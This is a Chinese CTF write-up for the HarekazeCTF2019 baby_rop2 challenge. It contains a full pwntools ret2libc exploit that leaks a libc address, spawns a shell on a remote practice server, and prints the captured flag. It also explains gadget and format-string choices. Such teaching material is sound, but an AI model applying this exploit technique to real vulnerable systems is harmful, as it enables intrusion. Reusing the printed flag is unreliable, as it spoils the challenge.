[HarekazeCTF2019]baby_rop2 1
例题:[HarekazeCTF2019]baby_rop2 1
首先检查一下文件:
C:\Users\A\Downloads>checksec babyrop2
[*] 'C:\\Users\\A\\Downloads\\babyrop2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
- 64位程序,小端序
- GOT表只读
- 没有栈保护
- 栈不可执行
- 地址固定
- 保留了字符表和调试信息
思路分析
查看一下mian函数:

注意:这里的buf[v5 - 1] = 0对对我们栈溢出没有任何影响,它只是截断字符串而已。
因此很明显这是一个简单的ret2libc的题
用ROPgadget查找一下rdi,rsi,和%s(因为要构造printf("%s",read_got))
┌──(venv)─(kali㉿kali)-[~/Desktop/ctf/pwn/attack]
└─$ ROPgadget --binary babyrop2 --only "pop|ret" | grep "rsi"
0x0000000000400731 : pop rsi ; pop r15 ; ret
┌──(venv)─(kali㉿kali)-[~/Desktop/ctf/pwn/attack]
└─$ ROPgadget --binary babyrop2 --only "pop|ret" | grep "rdi"
0x0000000000400733 : pop rdi ; ret
┌──(venv)─(kali㉿kali)-[~/Desktop/ctf/pwn/attack]
└─$ ROPgadget --binary babyrop2 --string "%s"
Strings information
============================================================
0x0000000000400790 : %s
攻击脚本
from pwn import *
import sys
sys.path.append("../tools/LibcSearcher")
from LibcSearcher import *
file = "./babyrop2"
#context.log_level = 'debug'
elf = ELF(file)
main = elf.symbols["main"]
printf_plt = elf.plt["printf"]
read_got = elf.got["read"]
pop_rdi_ret = 0x400733
pop_rsi_r15_ret = 0x400731
ret = 0x4004d1
format_str = 0x400790
offset = 0x20 + 8
local = 2
if local == 1:
io = process(file)
else:
io = remote("node5.buuoj.cn",26793)
pay = b'a' * offset
pay += p64(pop_rdi_ret) + p64(format_str) + p64(pop_rsi_r15_ret) + p64(read_got) + p64(0) + p64(printf_plt)
pay += p64(main)
io.recvuntil(b"name? ")
io.send(pay)
io.recvuntil(b'!\n')
read = u64(io.recvuntil(b"\x7f").ljust(8,b'\x00'))
print(hex(read))
libc = LibcSearcher("read",read)
libc_base = read - libc.dump("read")
system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")
pay = b'a' * offset + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
io.recvuntil(b"name? ")
io.send(pay)
io.recvline()
io.interactive()
记得下载题目给的libc,远程才打得通(可以下载后添加到LibcSearcher里)
libc添加方式:在LibcSearcher/libc-database里
使用./add libc.so.6 命令
点击查看代码
[+] Opening connection to node5.buuoj.cn on port 26793: Done
0x7f29b045c250
Multi Results:
0: /home/kali/Desktop/ctf/pwn/tools/LibcSearcher/libc-database/libc.so.6 (id local-56d992a0342a67a887b8dcaae381d2cc51205253)
1: ubuntu-old-glibc (id libc6-amd64_2.30-0ubuntu2_i386)
2: ubuntu-glibc (id libc6-amd64_2.31-0ubuntu9_i386)
3: ubuntu-old-glibc (id libc6-i386_2.34-0ubuntu3_amd64)
4: ubuntu-old-glibc (id libc6-i386_2.19-10ubuntu2.3_amd64)
Please supply more info using
add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:0
[+] /home/kali/Desktop/ctf/pwn/tools/LibcSearcher/libc-database/libc.so.6 (id local-56d992a0342a67a887b8dcaae381d2cc51205253) be choosed.
[*] Switching to interactive mode
$ find -name "flag"
find: './root': Permission denied
./home/babyrop2/flag
find: './proc/tty/driver': Permission denied
find: './proc/1/task/1/fd': Permission denied
find: './proc/1/task/1/fdinfo': Permission denied
find: './proc/1/task/1/ns': Permission denied
find: './proc/1/fd': Permission denied
find: './proc/1/map_files': Permission denied
find: './proc/1/fdinfo': Permission denied
find: './proc/1/ns': Permission denied
find: './proc/7/task/7/fd': Permission denied
find: './proc/7/task/7/fdinfo': Permission denied
find: './proc/7/task/7/ns': Permission denied
find: './proc/7/fd': Permission denied
find: './proc/7/map_files': Permission denied
find: './proc/7/fdinfo': Permission denied
find: './proc/7/ns': Permission denied
find: './var/cache/ldconfig': Permission denied
find: './var/cache/apt/archives/partial': Permission denied
find: './var/lib/apt/lists/partial': Permission denied
find: './var/spool/rsyslog': Permission denied
find: './var/spool/cron/crontabs': Permission denied
$ cat ./home/babyrop2/flag
flag{ee8f0e18-c04a-45cf-9b57-6e1e17112509}
$
[*] Closed connection to node5.buuoj.cn port 26793
疑惑点
这里为什么不能用printf@plt取泄露printf@got的地址?
简单来说,第一次调用,got表的绑定有一定的时间延迟,也只有这个能大概解释一下,比如下面两个图片(第一个是泄露printf,第二个是泄露read的):


泄露printf的只接收到0x53字节,而泄露read的接收到0x59字节,两个刚好相差0x6字节,即函数地址的长度(64位的一般来说都是6字节),也就是说,这里找不到printf@got的位置。
当然,一般ret2libc也可以去泄露__libc_start_main函数,因为这是libc的主函数,一般都会被调用的。而且不会有其他莫名其妙的问题(除了got表被改写之类的)。
为什么用%s,而不是%p?
首先这里找不到%p,基本只能用%s了。
其次,%p泄露的是got表的地址,不是函数的地址,got表项指向的地址才是函数的地址。而%s的原理就是根据地址找到地址指向的值。也是比较符合的。

浙公网安备 33010602011771号